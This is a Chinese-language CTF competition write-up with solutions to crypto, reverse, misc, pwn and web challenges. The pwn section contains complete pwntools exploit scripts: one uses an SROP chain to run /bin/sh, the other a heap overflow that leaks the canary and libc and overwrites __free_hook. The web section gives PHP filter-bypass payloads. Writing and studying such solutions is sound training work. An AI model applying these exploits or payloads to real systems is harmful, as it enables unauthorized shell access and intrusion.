实在是很忙,忙着赶项目,没来得及参加这个比赛,只能抽空做一下,断断续续做,然后写好wp又因为太忙忘记发出来。。。。
这次比赛的题挺不错的,难度适中(狸题除外,真的狸谱,有时间研究一下阿狸师傅的题,题目很新颖),部分题目后期再补上
在此感谢出题的各位大师傅!!!
Crypto
easysignin
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from random import getrandbits
from secret import flag
def genpq(k):
while True:
p = getPrime((k + 3) // 4)
q = getPrime((k + 3) // 4)
if ((p ** 2) * (q ** 2)).bit_length() == k:
return (p, q)
def genseq(t, k):
x = getrandbits(k)
y = getrandbits(k)
r = []
r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
for i in range(len(flag)):
r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
return r
(p, q) = genpq(2021)
e = getPrime(0x0123)
r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
c = pow(bytes_to_long(flag), e, 2021 * p * q)
out = open('output.txt','w')
out.write(str(r) + "\n")
out.write(str(c) + "\n")
out.close()
程序自定义写了getpq函数,然后弄了一大堆东西,最后就是rsa加密,genseq函数中的t为素数,直接费马小定理化简为1,后面三次调用这个函数,r和p,q,e均存在关系,LCG攻击
因为之前研究过La大佬的LCG攻击,用脚本即可解出p,q,e
from functools import reduce
from math import gcd
from gmpy2 import *
from Crypto.Util.number import *
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
rp = []
rq = []
re = []
xp, yp, p = crack_unknown_modulus(rp)
xq, yq, q = crack_unknown_modulus(rq)
xe, ye, e = crack_unknown_modulus(re)
print(p)
print(q)
print(e)
d = invert(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))
luckybase
不会,待研究~~
大佬们帮我看看我这个Python脚本为什么运行不了啊
fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES
A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
nuMBER = bYTEs_tO_long(a_FAKE_FLAG)
KeY1 = B'DO yOU WAnT A DAJIBEI?'
KEY1 = Bytes_to_lONG(KEY1)
KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
iv = 10800
KEY3 = KeY2 * IV
IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
print(long_tO_bytes(IS_THis_REAl_flag))
修正大小后,运行,得到
thrEE_means_3
结果为:
英文_means_数字
flag有可能是这种结构,逐一尝试,最终试出flag
听说
不会,待研究~~
eccsimiscce
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from random import getrandbits
from secret import flag
def gen(n):
g = []
while len(g) < 2:
r = getrandbits(128)
if r < n:
g += [r]
return g[0], g[1]
pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
assert len(pt) % 8 == 0
o = open('output','w')
n = getPrime(64) * getPrime(64)
o.write(str(n) + '\n')
a, b = gen(n)
p = []
E = EllipticCurve(IntegerModRing(n), [a, b^2])
P = E((0, b))
p += [P.xy()]
for k in range(len(pt) // 8):
Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
p += [Q.xy()]
P = Q
o.write(str(p))
代码就是就把flag的二进制经过处理后,8个字节一组进行ECC加密,之后将得到的Q点作为下一组的P点继续加密处理,n是素数,根据在全国大学生信息安全竞赛学到的一个知识点,可以把分解为模p和模q上的两题曲线来处理,逆行解即可,解出来是01字符串,转为二维码,扫描即可获得flag(脚本忘记贴上来了。。。)
简单密码
不会,阿狸师傅的题,还是很狸谱~~
单表加密
待研究~
pwn
easyrop
先检查文件保护
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开任何保护,ida分析,发现程序很短
寄存器所有的值我们都可以控制,伪造sigframe,控制程序走向即可pwn
from pwn import *
context(arch='amd64',os='linux')
context.log_level = "debug"
pop_rax = 0x4000db
read_addr = 0x4000dc
buf_addr = 0x6000e0
#p = process('./easyrop')
p = remote('pwn.chall.ctf.show',28035)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x300
sigframe.rsp = buf_addr
sigframe.rip = read_addr
p.recvuntil('Welcome to DJB easyrop!\n')
payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
p.send(payload)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr+0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = read_addr
payload = p64(pop_rax)+p64(15)+str(sigframe)
payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.interactive()
easy_note
检查文件保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位程序,ida分析,申请函数关键部分如下
v1 = malloc(0x20uLL); // 申请内存
src = v1; // src是结构体
v1[2] = dest;
*((_DWORD *)src + 2) = buf;
*(_QWORD *)src = a1; // 大小也写进结构体
*((_BYTE *)src + 24) = 0;
dest = (char *)dest + a1;
dword_602100 -= a1;
memcpy(dest, src, 0x20uLL); // 复制到dest
qword_602120[dword_602104] = (__int64)dest;
dest = (char *)dest + 32;
dword_602100 -= 32;
free(src); //释放
v2 = dword_602104++;
dword_602180[v2] = buf;
这里有个点,就是将src的大小也写进了去了,之后将src复制到dest,再释放src,同时注意到写函数
int result; // eax
if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
result = read(0, *(void **)(qword_602120[a1] + 16), a2);
else
result = puts("Chunk doesn't exist");
return result;
这里并没有对大小(a2)进行限制,如果申请小内存,然后写入大小比较大的内容,溢出,再利用打印函数,那么可以泄露canary和libc版本
from pwn import *
context(arch='amd64',os='linux')
context.log_level = "debug"
p = remote('pwn.chall.ctf.show',28099)
#p = process('./easy_note')
elf = ELF('./easy_note')
libc = ELF('./libc-2.27.so')
def add(size):
p.recvuntil('>')
p.sendline('1')
p.recvuntil(':\n')
p.sendline(str(size))
def print_(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil(':\n')
p.sendline(str(index))
def write_(index,size,content):
p.recvuntil('>')
p.sendline('3')
p.recvuntil(':\n')
p.sendline(str(index))
p.recvuntil(':\n')
p.sendline(str(size))
p.send(content)
add(0x20)
content = 'a'*31+'A'+p64(0x50)
write_(0,0x30,content)
print_(0)
p.recvuntil('A')
p.recv(8)
canary = u64(p.recv(8))
print('Canary addr is:',hex(canary))
memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = memcpy+0x400000
free_hook = libc_base+libc.symbols['__free_hook']
one_gadget = libc_base+0x10a41c
write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
write_(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(p)
p.interactive()
Reverse
A-Maze-Ln
32位程序,无壳,idA分析
找到关键函数
memset(Dst, 0, 0x100u);
memset(v11, 0, 0x100u);
((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
((void (__cdecl *)(const char *, char))print)(
"Let's play escape game where you have to find a way out. Please enter your way:",
v2);
sub_401050("%s", (unsigned int)v11); // v11为flag
v3 = 3;
v4 = 0;
if ( strlen(v11) != 34 ) // 长度34
goto LABEL_22;
v5 = 0;
do
{
v6 = v11[v5];
switch ( v6 )
{
case 'U':
v7 = v4;
if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
--v4;
break;
case 'D':
v7 = v4;
if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
++v4;
break;
case 'L':
v7 = v4;
if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
--v3;
break;
case 'R':
v7 = v4;
if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
goto LABEL_22;
++v3;
break;
default:
goto LABEL_22;
}
++v5;
}
while ( v5 < 34 );
if ( v3 != 4 || v4 != 7 )
{
LABEL_22:
print("You're stuck!\n");
return 0;
}
if ( sub_401090(v7, v11) == -1 )
return 0;
((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
v8 = 0;
do
{
Sleep(0xC8u);
print("%c", Dst[v8++]);
}
while ( v8 <= 0x2C );
return 0;
很明显是迷宫问题,起点是(3,0),终点为(4,7),大小为8*8,并且数据已给出
根据程序的判断,得出0是表示死路,1表示通路,最终推算出路径: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR
Matara Okina
下载候是apk文件,拖进jd分析,关键代码如下
public class FlagActivity extends Activity {
byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
public native String Check(String str);
static {
System.loadLibrary("Checker");
}
/* access modifiers changed from: protected */
@Override // android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_flag);
Uri data = getIntent().getData();
TextView textView = (TextView) findViewById(R.id.result);
String scheme = data.getScheme();
String host = data.getHost();
if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
String queryParameter = data.getQueryParameter("secret");
if (queryParameter == null) {
textView.setText("NO");
return;
}
byte[] bytes = queryParameter.getBytes();
int i = 0;
while (i < (bytes.length + 1) / 2) {
int i2 = i + 1;
bytes[i] = (byte) (bytes[i] ^ i2);
int length = (bytes.length - 1) - i;
bytes[length] = (byte) (bytes[length] ^ i2);
i = i2;
}
if (Arrays.equals(this.ans, bytes)) {
textView.setText(Check(data.toString()));
} else {
textView.setText("NO");
}
} else {
textView.setText("NO");
}
}
}
就是将"@lgvjocWzihodmXov[EWO",经过算法处理,python脚本处理一下
ans = "@lgvjocWzihodmXov[EWO"
i=0
flag_temp = [0]*len(ans)
while(i<(len(ans)+1)//2):
j = i+1
flag_temp[i]^=j
lens = len(ans)-1-i
flag_temp[lens] = ord(ans[lens])^j
flag_temp[i] = ord(ans[i])^j
i+=1
print(''.join([chr(i) for i in flag_temp]))
得到:Android_scceme_is_FUN,再根据代码,schema为跳转协议,在配置文件查看内容如下
<intent-filter>
<data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
<category android:name="android.intent.category.DEFAULT"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
访问的url可知,并构造如下,即可得到flag
<a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>
Unrealflag
缺少环境,待更新
anniu
找到句柄,修改按钮控件属性即可
warmup
64位程序,无壳,ida分析,关键代码如下,
if ( byte_40A0[16 * a1 + a2] == -1 )
return 0LL;
for ( i = 0; i <= 15; ++i )
{
if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
return 0LL;//行不等
}
for ( j = 0; j <= 15; ++j )
{
if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
return 0LL;//列不等
}
v4 = a1 - a1 % 4;
v3 = a2 - a2 % 4;
for ( k = 0; k <= 3; ++k )
{
for ( l = 0; l <= 3; ++l )
{
if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一个小块不等
return 0LL;
}
}
长度为48
if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
{
for ( i = 0; i <= 47; ++i ) // 长度48
{
v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
goto LABEL_9;
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
sub_125E((__int64)&v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
if ( !((unsigned __int8)sub_14E0() ^ 1) )//满足这个判断
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(0);
挺明显的,是个数独游戏,找原始数据
提取出来,处理数独游戏解一下,依次取值,得到
[7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
python处理得到flag
flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
for i in range(len(flag)):
if flag[i]>9:
flag[i] = hex(flag[i])[2:]
else:
flag[i] = str(flag[i])
print("flag{"+''.join([i for i in flag])+"}")
e
32位程序,ELF文件,无壳,ida分析无果,动态调试看看
准备找到输入的地方,进行跟踪,发现程序跑到这就死循环了
改用attach调试正在执行的进程,并且一直往下跟,一定可以找到判断的地方,并且过程中发现几次字符的处理
先是B(可能前面漏了几个,确实有看到J,结合赛名DJB,前面应该还有DJ)
然后是R
然后是E
这些字符很有可能进行判断的,特别关注,继续往下跟,堆栈处发现
继续,出现
最后有
最终就是个比较函数,输入的字符串和DDDJJJBBBRRREEE比较,这个就是flag
misc
十八般武艺
下载后是压缩包,发现需要密码,注释有
jph对18个图片处理得到18个txt文件,每个都藏有数字,在最下面,拼接后为
1361439992231635258176397978587009639353044053720460556276610613346353724230575
发现都是10进制数,提示前10种兵器是10进制,转为16进制再转文本为
flag{CTFshow_10_
后8种为8进制,转为16进制,再转文本
bA_Ban_b1ng_Q1}
拼接即为flag
请问大吉杯的签到是在这里签吗
下载后是二维码,但是扫后没有什么信息,010看看,发现里面似乎还有其他图片,还发现zip标志,分解看看,得到一个2图片和压缩包
图片扫码后是说:还要往前走……是不是在这个路口转弯呢?,解压压缩包,里面也是2图片,第二张图有点东西
最终在stegsolve发现(走了好多弯路)
猪圈密码解密即可
牛年大吉
010分析,发现里面存在其他类型的文件,直接分解
但是压缩包存在密码,根据提示:压缩包密码在图片文件头里,刚开始一直不懂什么意思,后来尝试一下文件头: 89504E47 ,这个就是密码,解压后得到flag
简单的FM
一直都是0解,很简单??阿狸师傅可能比较喜欢裸奔。。
童话镇
下载后是一个mp4文件,分解得到一个压缩包,但是存在密码,爆破得到密码为67373,得到两个txt文件,两个文件都很大,有点像机器学习的东西,不懂。。。也是阿狸师傅的题
色图生成器
解压后是一个txt文件和一个png图片,txt文件内容为很多颜色的单词,图片的马赛克部分很奇怪,脚本处理一下,找一下规律
from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
for y in range(50,995,5):
color=p.getpixel((y,x))
print(color[0],color[1],color[2])
i+=1
if i==10:
break
部分结构如下图
发现马赛克部分,82,97,114转为ascii为rar,说明马赛克部分其实是一个压缩包,并且发现是RGB中其中一个值为0,写脚本将数据全部提取出来
from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
for y in range(50,995,5):
color=p.getpixel((y,x))
if color[0] ==0 or color[1]==0 or color[2]==0:
z = (color[0]+color[1]+color[2])//2
print(z,end=' ')
i+=1
010处理一下
打开这个rar文件,里面是一张图片,010分析一下,尾部发现压缩包标志,分解,得到一个压缩包,但是有密码
根据提示github搜索Cloakify,并用题提供的txt作为字典,跑一下得到密码
D3arD4La0P1e45eD4iDa1Wo
得到一个pyc文件,反编译一下
from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
col = []
for i in range(0, 24, 2):
tmp = int(m[i:i + 2], 16)
tmp += random.randint(-5, 5)
col += [tmp]
img = Image.new('RGB', (1024, 512))
for i in range(4):
timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
img.paste(timg, (i * 256, 0))
img.save('C:/Users/Administrator/Desktop/setu.png')
这个脚本是对setu.png进行处理,但是引入了随机数,逆算法不行,直接暴力破解即可
import re
import hashlib
list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for a1 in range(48,123):
for a2 in range(48,123):
for a3 in range(48,123):
for a4 in range(48,123):
flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
b = 0
for i in range(0,24,2):
tmp = int(list[b])
if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
b = b+1
continue
elif i==22:
print(flag,'Found the flag!')
break
else:
break
拼图2.0
拼图即可
碑寺六十四卦
捣鼓了一大圈,没发现什么,最后将图片反色才发现线索, stegsolve解一下最低位通道即可得到另一张图片 (放大镜放大,得到)
对应卦图的数字为:
5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40
对应base64解密一下,得到flag
AA86
%@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"
题目提示16位系统的文件,16位dos系统的话能运行的文件比较经典的是com文件,(这学期病毒课实验课,搭了个16位虚拟机,正好用到),保存为com文件,dos系统跑一下,得到flag
web
veryphp
代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;//我们得读到这个hint
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
首先我们得先读到hint,长度为29,并且匹配正则,比较容易
-a9<b>xxxxxxxxx>>>>abcphp@Rsx
但是shaw_root的下划线得处理为空格(+不行),绕过正则,得到hint
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
爆破得到的SecretNumber为: 21475 ,然后就到call_user_func,调用类中函数就行了,比较简单
shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao
spaceman
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
传入的user_name和pass_word的下划线会被正则影响,空格绕过,得flag
有手就行
url出现file=scan,经过多次尝试,只有file=flag,才有结果,前端发现代码,base64转图片,是一个小程序
爬楼游戏,爬547万层,就是点击547万次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一个题)
虎山行
不会,暂研究~~~